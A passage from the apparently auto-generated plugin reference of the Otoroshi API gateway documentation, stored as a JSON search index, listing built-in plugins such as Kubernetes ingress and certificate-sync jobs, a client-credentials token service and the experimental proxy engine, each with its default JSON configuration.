\"atLeastOne\" : false,\n \"config\" : {\n \"enabled\" : true,\n \"quotasEnabled\" : true,\n \"uniqueApiKey\" : false,\n \"type\" : \"OIDC\",\n \"oidcConfigRef\" : \"some-oidc-auth-module-id\",\n \"localVerificationOnly\" : false,\n \"mode\" : \"Tmp\",\n \"ttl\" : 0,\n \"headerName\" : \"Authorization\",\n \"throttlingQuota\" : 100,\n \"dailyQuota\" : 10000000,\n \"monthlyQuota\" : 10000000,\n \"excludedPatterns\" : [ ],\n \"scopes\" : [ ],\n \"rolesPath\" : [ ],\n \"roles\" : [ ]\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-preroute #otoroshi.plugins.useragent.UserAgentExtractor }\n\n## User-Agent details extractor\n\n\n\n### Infos\n\n* plugin type: `preroute`\n* configuration root: `UserAgentInfo`\n\n### Description\n\nThis plugin extract informations from User-Agent header such as browsser version, OS version, etc.\nThe informations are store in plugins attrs for other plugins to use\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"UserAgentInfo\": {\n \"log\": false // will log user-agent details\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"UserAgentInfo\" : {\n \"log\" : false\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-sink #otoroshi.plugins.apikeys.ClientCredentialService }\n\n## Client Credential Service\n\n\n\n### Infos\n\n* plugin type: `sink`\n* configuration root: `ClientCredentialService`\n\n### Description\n\nThis plugin add an an oauth client credentials service (`https://unhandleddomain/.well-known/otoroshi/oauth/token`) to create an access_token given a client id and secret.\n\n```json\n{\n \"ClientCredentialService\" : {\n \"domain\" : \"*\",\n \"expiration\" : 3600000,\n \"defaultKeyPair\" : \"otoroshi-jwt-signing\",\n \"secure\" : true\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"ClientCredentialService\" : {\n \"domain\" : \"*\",\n \"expiration\" : 3600000,\n \"defaultKeyPair\" : \"otoroshi-jwt-signing\",\n \"secure\" : true\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-sink #otoroshi.plugins.discovery.DiscoverySelfRegistrationSink }\n\n## Global self registration endpoints (service discovery)\n\n\n\n### Infos\n\n* plugin type: `sink`\n* configuration root: `DiscoverySelfRegistration`\n\n### Description\n\nThis plugin add support for self registration endpoint on specific hostnames.\n\nThis plugin accepts the following configuration:\n\n\n\n### Default configuration\n\n```json\n{\n \"DiscoverySelfRegistration\" : {\n \"hosts\" : [ ],\n \"targetTemplate\" : { },\n \"registrationTtl\" : 60000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-sink #otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookCRDValidator }\n\n## Kubernetes admission validator webhook\n\n\n\n### Infos\n\n* plugin type: `sink`\n* configuration root: ``none``\n\n### Description\n\nThis plugin exposes a webhook to kubernetes to handle manifests validation\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-sink #otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookSidecarInjector }\n\n## Kubernetes sidecar injector webhook\n\n\n\n### Infos\n\n* plugin type: `sink`\n* configuration root: ``none``\n\n### Description\n\nThis plugin exposes a webhook to kubernetes to inject otoroshi-sidecar in pods\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-job #otoroshi.jobs.StateExporter }\n\n## Otoroshi state exporter job\n\n\n\n### Infos\n\n* plugin type: `job`\n* configuration root: `StateExporter`\n\n### Description\n\nThis job send an event containing the full otoroshi export every n seconds\n\n\n\n### Default configuration\n\n```json\n{\n \"StateExporter\" : {\n \"every_sec\" : 3600,\n \"format\" : \"json\"\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-job #otoroshi.next.plugins.TailscaleCertificatesFetcherJob }\n\n## Tailscale certificate fetcher job\n\n\n\n### Infos\n\n* plugin type: `job`\n* configuration root: ``none``\n\n### Description\n\nThis job will fetch certificates from Tailscale ACME provider\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-job #otoroshi.next.plugins.TailscaleTargetsJob }\n\n## Tailscale targets job\n\n\n\n### Infos\n\n* plugin type: `job`\n* configuration root: ``none``\n\n### Description\n\nThis job will aggregates Tailscale possible online targets\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-job #otoroshi.plugins.jobs.kubernetes.KubernetesIngressControllerJob }\n\n## Kubernetes Ingress Controller\n\n\n\n### Infos\n\n* plugin type: `job`\n* configuration root: `KubernetesConfig`\n\n### Description\n\nThis plugin enables Otoroshi as an Ingress Controller\n\n```json\n{\n \"KubernetesConfig\" : {\n \"endpoint\" : \"https://kube.cluster.dev\",\n \"token\" : \"xxx\",\n \"userPassword\" : \"user:password\",\n \"caCert\" : \"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt\",\n \"trust\" : false,\n \"namespaces\" : [ \"*\" ],\n \"labels\" : { },\n \"namespacesLabels\" : { },\n \"ingressClasses\" : [ \"otoroshi\" ],\n \"defaultGroup\" : \"default\",\n \"ingresses\" : true,\n \"crds\" : true,\n \"coreDnsIntegration\" : false,\n \"coreDnsIntegrationDryRun\" : false,\n \"coreDnsAzure\" : false,\n \"kubeLeader\" : false,\n \"restartDependantDeployments\" : true,\n \"useProxyState\" : false,\n \"watch\" : true,\n \"syncDaikokuApikeysOnly\" : false,\n \"kubeSystemNamespace\" : \"kube-system\",\n \"coreDnsConfigMapName\" : \"coredns\",\n \"coreDnsDeploymentName\" : \"coredns\",\n \"corednsPort\" : 53,\n \"otoroshiServiceName\" : \"otoroshi-service\",\n \"otoroshiNamespace\" : \"otoroshi\",\n \"clusterDomain\" : \"cluster.local\",\n \"syncIntervalSeconds\" : 60,\n \"coreDnsEnv\" : null,\n \"watchTimeoutSeconds\" : 60,\n \"watchGracePeriodSeconds\" : 5,\n \"mutatingWebhookName\" : \"otoroshi-admission-webhook-injector\",\n \"validatingWebhookName\" : \"otoroshi-admission-webhook-validation\",\n \"meshDomain\" : \"otoroshi.mesh\",\n \"openshiftDnsOperatorIntegration\" : false,\n \"openshiftDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"openshiftDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"openshiftDnsOperatorCoreDnsPort\" : 5353,\n \"kubeDnsOperatorIntegration\" : false,\n \"kubeDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"kubeDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"kubeDnsOperatorCoreDnsPort\" : 5353,\n \"connectionTimeout\" : 5000,\n \"idleTimeout\" : 30000,\n \"callAndStreamTimeout\" : 30000,\n \"templates\" : {\n \"service-group\" : { },\n \"service-descriptor\" : { },\n \"apikeys\" : { },\n \"global-config\" : { },\n \"jwt-verifier\" : { },\n \"tcp-service\" : { },\n \"certificate\" : { },\n \"auth-module\" : { },\n \"script\" : { },\n \"data-exporters\" : { },\n \"organizations\" : { },\n \"teams\" : { },\n \"admins\" : { },\n \"webhooks\" : { }\n }\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"KubernetesConfig\" : {\n \"endpoint\" : \"https://kube.cluster.dev\",\n \"token\" : \"xxx\",\n \"userPassword\" : \"user:password\",\n \"caCert\" : \"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt\",\n \"trust\" : false,\n \"namespaces\" : [ \"*\" ],\n \"labels\" : { },\n \"namespacesLabels\" : { },\n \"ingressClasses\" : [ \"otoroshi\" ],\n \"defaultGroup\" : \"default\",\n \"ingresses\" : true,\n \"crds\" : true,\n \"coreDnsIntegration\" : false,\n \"coreDnsIntegrationDryRun\" : false,\n \"coreDnsAzure\" : false,\n \"kubeLeader\" : false,\n \"restartDependantDeployments\" : true,\n \"useProxyState\" : false,\n \"watch\" : true,\n \"syncDaikokuApikeysOnly\" : false,\n \"kubeSystemNamespace\" : \"kube-system\",\n \"coreDnsConfigMapName\" : \"coredns\",\n \"coreDnsDeploymentName\" : \"coredns\",\n \"corednsPort\" : 53,\n \"otoroshiServiceName\" : \"otoroshi-service\",\n \"otoroshiNamespace\" : \"otoroshi\",\n \"clusterDomain\" : \"cluster.local\",\n \"syncIntervalSeconds\" : 60,\n \"coreDnsEnv\" : null,\n \"watchTimeoutSeconds\" : 60,\n \"watchGracePeriodSeconds\" : 5,\n \"mutatingWebhookName\" : \"otoroshi-admission-webhook-injector\",\n \"validatingWebhookName\" : \"otoroshi-admission-webhook-validation\",\n \"meshDomain\" : \"otoroshi.mesh\",\n \"openshiftDnsOperatorIntegration\" : false,\n \"openshiftDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"openshiftDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"openshiftDnsOperatorCoreDnsPort\" : 5353,\n \"kubeDnsOperatorIntegration\" : false,\n \"kubeDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"kubeDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"kubeDnsOperatorCoreDnsPort\" : 5353,\n \"connectionTimeout\" : 5000,\n \"idleTimeout\" : 30000,\n \"callAndStreamTimeout\" : 30000,\n \"templates\" : {\n \"service-group\" : { },\n \"service-descriptor\" : { },\n \"apikeys\" : { },\n \"global-config\" : { },\n \"jwt-verifier\" : { },\n \"tcp-service\" : { },\n \"certificate\" : { },\n \"auth-module\" : { },\n \"script\" : { },\n \"data-exporters\" : { },\n \"organizations\" : { },\n \"teams\" : { },\n \"admins\" : { },\n \"webhooks\" : { }\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-job #otoroshi.plugins.jobs.kubernetes.KubernetesOtoroshiCRDsControllerJob }\n\n## Kubernetes Otoroshi CRDs Controller\n\n\n\n### Infos\n\n* plugin type: `job`\n* configuration root: `KubernetesConfig`\n\n### Description\n\nThis plugin enables Otoroshi CRDs Controller\n\n```json\n{\n \"KubernetesConfig\" : {\n \"endpoint\" : \"https://kube.cluster.dev\",\n \"token\" : \"xxx\",\n \"userPassword\" : \"user:password\",\n \"caCert\" : \"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt\",\n \"trust\" : false,\n \"namespaces\" : [ \"*\" ],\n \"labels\" : { },\n \"namespacesLabels\" : { },\n \"ingressClasses\" : [ \"otoroshi\" ],\n \"defaultGroup\" : \"default\",\n \"ingresses\" : true,\n \"crds\" : true,\n \"coreDnsIntegration\" : false,\n \"coreDnsIntegrationDryRun\" : false,\n \"coreDnsAzure\" : false,\n \"kubeLeader\" : false,\n \"restartDependantDeployments\" : true,\n \"useProxyState\" : false,\n \"watch\" : true,\n \"syncDaikokuApikeysOnly\" : false,\n \"kubeSystemNamespace\" : \"kube-system\",\n \"coreDnsConfigMapName\" : \"coredns\",\n \"coreDnsDeploymentName\" : \"coredns\",\n \"corednsPort\" : 53,\n \"otoroshiServiceName\" : \"otoroshi-service\",\n \"otoroshiNamespace\" : \"otoroshi\",\n \"clusterDomain\" : \"cluster.local\",\n \"syncIntervalSeconds\" : 60,\n \"coreDnsEnv\" : null,\n \"watchTimeoutSeconds\" : 60,\n \"watchGracePeriodSeconds\" : 5,\n \"mutatingWebhookName\" : \"otoroshi-admission-webhook-injector\",\n \"validatingWebhookName\" : \"otoroshi-admission-webhook-validation\",\n \"meshDomain\" : \"otoroshi.mesh\",\n \"openshiftDnsOperatorIntegration\" : false,\n \"openshiftDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"openshiftDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"openshiftDnsOperatorCoreDnsPort\" : 5353,\n \"kubeDnsOperatorIntegration\" : false,\n \"kubeDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"kubeDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"kubeDnsOperatorCoreDnsPort\" : 5353,\n \"connectionTimeout\" : 5000,\n \"idleTimeout\" : 30000,\n \"callAndStreamTimeout\" : 30000,\n \"templates\" : {\n \"service-group\" : { },\n \"service-descriptor\" : { },\n \"apikeys\" : { },\n \"global-config\" : { },\n \"jwt-verifier\" : { },\n \"tcp-service\" : { },\n \"certificate\" : { },\n \"auth-module\" : { },\n \"script\" : { },\n \"data-exporters\" : { },\n \"organizations\" : { },\n \"teams\" : { },\n \"admins\" : { },\n \"webhooks\" : { }\n }\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"KubernetesConfig\" : {\n \"endpoint\" : \"https://kube.cluster.dev\",\n \"token\" : \"xxx\",\n \"userPassword\" : \"user:password\",\n \"caCert\" : \"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt\",\n \"trust\" : false,\n \"namespaces\" : [ \"*\" ],\n \"labels\" : { },\n \"namespacesLabels\" : { },\n \"ingressClasses\" : [ \"otoroshi\" ],\n \"defaultGroup\" : \"default\",\n \"ingresses\" : true,\n \"crds\" : true,\n \"coreDnsIntegration\" : false,\n \"coreDnsIntegrationDryRun\" : false,\n \"coreDnsAzure\" : false,\n \"kubeLeader\" : false,\n \"restartDependantDeployments\" : true,\n \"useProxyState\" : false,\n \"watch\" : true,\n \"syncDaikokuApikeysOnly\" : false,\n \"kubeSystemNamespace\" : \"kube-system\",\n \"coreDnsConfigMapName\" : \"coredns\",\n \"coreDnsDeploymentName\" : \"coredns\",\n \"corednsPort\" : 53,\n \"otoroshiServiceName\" : \"otoroshi-service\",\n \"otoroshiNamespace\" : \"otoroshi\",\n \"clusterDomain\" : \"cluster.local\",\n \"syncIntervalSeconds\" : 60,\n \"coreDnsEnv\" : null,\n \"watchTimeoutSeconds\" : 60,\n \"watchGracePeriodSeconds\" : 5,\n \"mutatingWebhookName\" : \"otoroshi-admission-webhook-injector\",\n \"validatingWebhookName\" : \"otoroshi-admission-webhook-validation\",\n \"meshDomain\" : \"otoroshi.mesh\",\n \"openshiftDnsOperatorIntegration\" : false,\n \"openshiftDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"openshiftDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"openshiftDnsOperatorCoreDnsPort\" : 5353,\n \"kubeDnsOperatorIntegration\" : false,\n \"kubeDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"kubeDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"kubeDnsOperatorCoreDnsPort\" : 5353,\n \"connectionTimeout\" : 5000,\n \"idleTimeout\" : 30000,\n \"callAndStreamTimeout\" : 30000,\n \"templates\" : {\n \"service-group\" : { },\n \"service-descriptor\" : { },\n \"apikeys\" : { },\n \"global-config\" : { },\n \"jwt-verifier\" : { },\n \"tcp-service\" : { },\n \"certificate\" : { },\n \"auth-module\" : { },\n \"script\" : { },\n \"data-exporters\" : { },\n \"organizations\" : { },\n \"teams\" : { },\n \"admins\" : { },\n \"webhooks\" : { }\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-job #otoroshi.plugins.jobs.kubernetes.KubernetesToOtoroshiCertSyncJob }\n\n## Kubernetes to Otoroshi certs. synchronizer\n\n\n\n### Infos\n\n* plugin type: `job`\n* configuration root: `KubernetesConfig`\n\n### Description\n\nThis plugin syncs. TLS secrets from Kubernetes to Otoroshi\n\n```json\n{\n \"KubernetesConfig\" : {\n \"endpoint\" : \"https://kube.cluster.dev\",\n \"token\" : \"xxx\",\n \"userPassword\" : \"user:password\",\n \"caCert\" : \"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt\",\n \"trust\" : false,\n \"namespaces\" : [ \"*\" ],\n \"labels\" : { },\n \"namespacesLabels\" : { },\n \"ingressClasses\" : [ \"otoroshi\" ],\n \"defaultGroup\" : \"default\",\n \"ingresses\" : true,\n \"crds\" : true,\n \"coreDnsIntegration\" : false,\n \"coreDnsIntegrationDryRun\" : false,\n \"coreDnsAzure\" : false,\n \"kubeLeader\" : false,\n \"restartDependantDeployments\" : true,\n \"useProxyState\" : false,\n \"watch\" : true,\n \"syncDaikokuApikeysOnly\" : false,\n \"kubeSystemNamespace\" : \"kube-system\",\n \"coreDnsConfigMapName\" : \"coredns\",\n \"coreDnsDeploymentName\" : \"coredns\",\n \"corednsPort\" : 53,\n \"otoroshiServiceName\" : \"otoroshi-service\",\n \"otoroshiNamespace\" : \"otoroshi\",\n \"clusterDomain\" : \"cluster.local\",\n \"syncIntervalSeconds\" : 60,\n \"coreDnsEnv\" : null,\n \"watchTimeoutSeconds\" : 60,\n \"watchGracePeriodSeconds\" : 5,\n \"mutatingWebhookName\" : \"otoroshi-admission-webhook-injector\",\n \"validatingWebhookName\" : \"otoroshi-admission-webhook-validation\",\n \"meshDomain\" : \"otoroshi.mesh\",\n \"openshiftDnsOperatorIntegration\" : false,\n \"openshiftDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"openshiftDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"openshiftDnsOperatorCoreDnsPort\" : 5353,\n \"kubeDnsOperatorIntegration\" : false,\n \"kubeDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"kubeDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"kubeDnsOperatorCoreDnsPort\" : 5353,\n \"connectionTimeout\" : 5000,\n \"idleTimeout\" : 30000,\n \"callAndStreamTimeout\" : 30000,\n \"templates\" : {\n \"service-group\" : { },\n \"service-descriptor\" : { },\n \"apikeys\" : { },\n \"global-config\" : { },\n \"jwt-verifier\" : { },\n \"tcp-service\" : { },\n \"certificate\" : { },\n \"auth-module\" : { },\n \"script\" : { },\n \"data-exporters\" : { },\n \"organizations\" : { },\n \"teams\" : { },\n \"admins\" : { },\n \"webhooks\" : { }\n }\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"KubernetesConfig\" : {\n \"endpoint\" : \"https://kube.cluster.dev\",\n \"token\" : \"xxx\",\n \"userPassword\" : \"user:password\",\n \"caCert\" : \"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt\",\n \"trust\" : false,\n \"namespaces\" : [ \"*\" ],\n \"labels\" : { },\n \"namespacesLabels\" : { },\n \"ingressClasses\" : [ \"otoroshi\" ],\n \"defaultGroup\" : \"default\",\n \"ingresses\" : true,\n \"crds\" : true,\n \"coreDnsIntegration\" : false,\n \"coreDnsIntegrationDryRun\" : false,\n \"coreDnsAzure\" : false,\n \"kubeLeader\" : false,\n \"restartDependantDeployments\" : true,\n \"useProxyState\" : false,\n \"watch\" : true,\n \"syncDaikokuApikeysOnly\" : false,\n \"kubeSystemNamespace\" : \"kube-system\",\n \"coreDnsConfigMapName\" : \"coredns\",\n \"coreDnsDeploymentName\" : \"coredns\",\n \"corednsPort\" : 53,\n \"otoroshiServiceName\" : \"otoroshi-service\",\n \"otoroshiNamespace\" : \"otoroshi\",\n \"clusterDomain\" : \"cluster.local\",\n \"syncIntervalSeconds\" : 60,\n \"coreDnsEnv\" : null,\n \"watchTimeoutSeconds\" : 60,\n \"watchGracePeriodSeconds\" : 5,\n \"mutatingWebhookName\" : \"otoroshi-admission-webhook-injector\",\n \"validatingWebhookName\" : \"otoroshi-admission-webhook-validation\",\n \"meshDomain\" : \"otoroshi.mesh\",\n \"openshiftDnsOperatorIntegration\" : false,\n \"openshiftDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"openshiftDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"openshiftDnsOperatorCoreDnsPort\" : 5353,\n \"kubeDnsOperatorIntegration\" : false,\n \"kubeDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"kubeDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"kubeDnsOperatorCoreDnsPort\" : 5353,\n \"connectionTimeout\" : 5000,\n \"idleTimeout\" : 30000,\n \"callAndStreamTimeout\" : 30000,\n \"templates\" : {\n \"service-group\" : { },\n \"service-descriptor\" : { },\n \"apikeys\" : { },\n \"global-config\" : { },\n \"jwt-verifier\" : { },\n \"tcp-service\" : { },\n \"certificate\" : { },\n \"auth-module\" : { },\n \"script\" : { },\n \"data-exporters\" : { },\n \"organizations\" : { },\n \"teams\" : { },\n \"admins\" : { },\n \"webhooks\" : { }\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-job #otoroshi.plugins.jobs.kubernetes.OtoroshiToKubernetesCertSyncJob }\n\n## Otoroshi certs. to Kubernetes secrets synchronizer\n\n\n\n### Infos\n\n* plugin type: `job`\n* configuration root: `KubernetesConfig`\n\n### Description\n\nThis plugin syncs. Otoroshi certs to Kubernetes TLS secrets\n\n```json\n{\n \"KubernetesConfig\" : {\n \"endpoint\" : \"https://kube.cluster.dev\",\n \"token\" : \"xxx\",\n \"userPassword\" : \"user:password\",\n \"caCert\" : \"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt\",\n \"trust\" : false,\n \"namespaces\" : [ \"*\" ],\n \"labels\" : { },\n \"namespacesLabels\" : { },\n \"ingressClasses\" : [ \"otoroshi\" ],\n \"defaultGroup\" : \"default\",\n \"ingresses\" : true,\n \"crds\" : true,\n \"coreDnsIntegration\" : false,\n \"coreDnsIntegrationDryRun\" : false,\n \"coreDnsAzure\" : false,\n \"kubeLeader\" : false,\n \"restartDependantDeployments\" : true,\n \"useProxyState\" : false,\n \"watch\" : true,\n \"syncDaikokuApikeysOnly\" : false,\n \"kubeSystemNamespace\" : \"kube-system\",\n \"coreDnsConfigMapName\" : \"coredns\",\n \"coreDnsDeploymentName\" : \"coredns\",\n \"corednsPort\" : 53,\n \"otoroshiServiceName\" : \"otoroshi-service\",\n \"otoroshiNamespace\" : \"otoroshi\",\n \"clusterDomain\" : \"cluster.local\",\n \"syncIntervalSeconds\" : 60,\n \"coreDnsEnv\" : null,\n \"watchTimeoutSeconds\" : 60,\n \"watchGracePeriodSeconds\" : 5,\n \"mutatingWebhookName\" : \"otoroshi-admission-webhook-injector\",\n \"validatingWebhookName\" : \"otoroshi-admission-webhook-validation\",\n \"meshDomain\" : \"otoroshi.mesh\",\n \"openshiftDnsOperatorIntegration\" : false,\n \"openshiftDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"openshiftDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"openshiftDnsOperatorCoreDnsPort\" : 5353,\n \"kubeDnsOperatorIntegration\" : false,\n \"kubeDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"kubeDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"kubeDnsOperatorCoreDnsPort\" : 5353,\n \"connectionTimeout\" : 5000,\n \"idleTimeout\" : 30000,\n \"callAndStreamTimeout\" : 30000,\n \"templates\" : {\n \"service-group\" : { },\n \"service-descriptor\" : { },\n \"apikeys\" : { },\n \"global-config\" : { },\n \"jwt-verifier\" : { },\n \"tcp-service\" : { },\n \"certificate\" : { },\n \"auth-module\" : { },\n \"script\" : { },\n \"data-exporters\" : { },\n \"organizations\" : { },\n \"teams\" : { },\n \"admins\" : { },\n \"webhooks\" : { }\n }\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"KubernetesConfig\" : {\n \"endpoint\" : \"https://kube.cluster.dev\",\n \"token\" : \"xxx\",\n \"userPassword\" : \"user:password\",\n \"caCert\" : \"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt\",\n \"trust\" : false,\n \"namespaces\" : [ \"*\" ],\n \"labels\" : { },\n \"namespacesLabels\" : { },\n \"ingressClasses\" : [ \"otoroshi\" ],\n \"defaultGroup\" : \"default\",\n \"ingresses\" : true,\n \"crds\" : true,\n \"coreDnsIntegration\" : false,\n \"coreDnsIntegrationDryRun\" : false,\n \"coreDnsAzure\" : false,\n \"kubeLeader\" : false,\n \"restartDependantDeployments\" : true,\n \"useProxyState\" : false,\n \"watch\" : true,\n \"syncDaikokuApikeysOnly\" : false,\n \"kubeSystemNamespace\" : \"kube-system\",\n \"coreDnsConfigMapName\" : \"coredns\",\n \"coreDnsDeploymentName\" : \"coredns\",\n \"corednsPort\" : 53,\n \"otoroshiServiceName\" : \"otoroshi-service\",\n \"otoroshiNamespace\" : \"otoroshi\",\n \"clusterDomain\" : \"cluster.local\",\n \"syncIntervalSeconds\" : 60,\n \"coreDnsEnv\" : null,\n \"watchTimeoutSeconds\" : 60,\n \"watchGracePeriodSeconds\" : 5,\n \"mutatingWebhookName\" : \"otoroshi-admission-webhook-injector\",\n \"validatingWebhookName\" : \"otoroshi-admission-webhook-validation\",\n \"meshDomain\" : \"otoroshi.mesh\",\n \"openshiftDnsOperatorIntegration\" : false,\n \"openshiftDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"openshiftDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"openshiftDnsOperatorCoreDnsPort\" : 5353,\n \"kubeDnsOperatorIntegration\" : false,\n \"kubeDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"kubeDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"kubeDnsOperatorCoreDnsPort\" : 5353,\n \"connectionTimeout\" : 5000,\n \"idleTimeout\" : 30000,\n \"callAndStreamTimeout\" : 30000,\n \"templates\" : {\n \"service-group\" : { },\n \"service-descriptor\" : { },\n \"apikeys\" : { },\n \"global-config\" : { },\n \"jwt-verifier\" : { },\n \"tcp-service\" : { },\n \"certificate\" : { },\n \"auth-module\" : { },\n \"script\" : { },\n \"data-exporters\" : { },\n \"organizations\" : { },\n \"teams\" : { },\n \"admins\" : { },\n \"webhooks\" : { }\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-job #otoroshi.wasm.WasmVmPoolCleaner }\n\n## otoroshi.wasm.WasmVmPoolCleaner\n\n\n\n### Infos\n\n* plugin type: `job`\n* configuration root: ``none``\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-request-handler #otoroshi.next.proxy.ProxyEngine }\n\n## Otoroshi next proxy engine (experimental)\n\n\n\n### Infos\n\n* plugin type: `request-handler`\n* configuration root: `NextGenProxyEngine`\n\n### Description\n\nThis plugin holds the next generation otoroshi proxy engine implementation. This engine is **experimental** and may not work as expected !\n\nYou can active this plugin only on some domain names so you can easily A/B test the new engine.\nThe new proxy engine is designed to be more reactive and more efficient generally.\nIt is also designed to be very efficient on path routing where it wasn't the old engines strong suit.\n\nThe idea is to only rely on plugins to work and avoid losing time with features that are not used in service descriptors.\nAn automated conversion happens for every service descriptor. If the exposed domain is handled by this plugin, it will be served by this plugin.\nThis plugin introduces new entities that will replace (one day maybe) service descriptors:\n\n - `routes`: a unique routing rule based on hostname, path, method and headers that will execute a bunch of plugins\n - `route-compositions`: multiple routing rules based on hostname, path, method and headers that will execute the same list of plugins\n - `backends`: a list of targets to contact a backend\n\nas an example, let say you want to use the new engine on your service exposed on `api.foo.bar/api`.\nTo do that, just add the plugin in the `global plugins` section of the danger zone, inject the default configuration,\nenabled it and in `domains` add the value `api.foo.bar` (it is possible to use `*.foo.bar` if that's what you want to do).\nThe next time a request hits the `api.foo.bar` domain, the new engine will handle it instead of the old one.\n\n\n\n### Default configuration\n\n```json\n{\n \"NextGenProxyEngine\" : {\n \"enabled\" : true,\n \"domains\" : [ \"*\" ],\n \"deny_domains\" : [ ],\n \"reporting\" : true,\n \"merge_sync_steps\" : true,\n \"export_reporting\" : false,\n \"apply_legacy_checks\" : true,\n \"debug\" : false,\n \"capture\" : false,\n \"captureMaxEntitySize\" : 4194304,\n \"debug_headers\" : false,\n \"routing_strategy\" : \"tree\"\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-request-handler #otoroshi.script.ForwardTrafficHandler }\n\n## Forward traffic\n\n\n\n### Infos\n\n* plugin type: `request-handler`\n* configuration root: `ForwardTrafficHandler`\n\n### Description\n\nThis plugin can be use to perform a raw traffic forward to an URL without passing through otoroshi routing\n\n\n\n### Default configuration\n\n```json\n{\n \"ForwardTrafficHandler\" : {\n \"domains\" : {\n \"my.domain.tld\" : {\n \"baseUrl\" : \"https://my.otherdomain.tld\",\n \"secret\" : \"jwt signing secret\",\n \"service\" : {\n \"id\" : \"service id for analytics\",\n \"name\" : \"service name for analytics\"\n }\n }\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n\n\n"},{"name":"built-in-plugins.md","id":"/plugins/built-in-plugins.md","url":"/plugins/built-in-plugins.html","title":"Built-in plugins","content":"# Built-in plugins\n\nOtoroshi next provides some plugins out of the box. Here is the available plugins with their documentation and reference configuration.\n\n
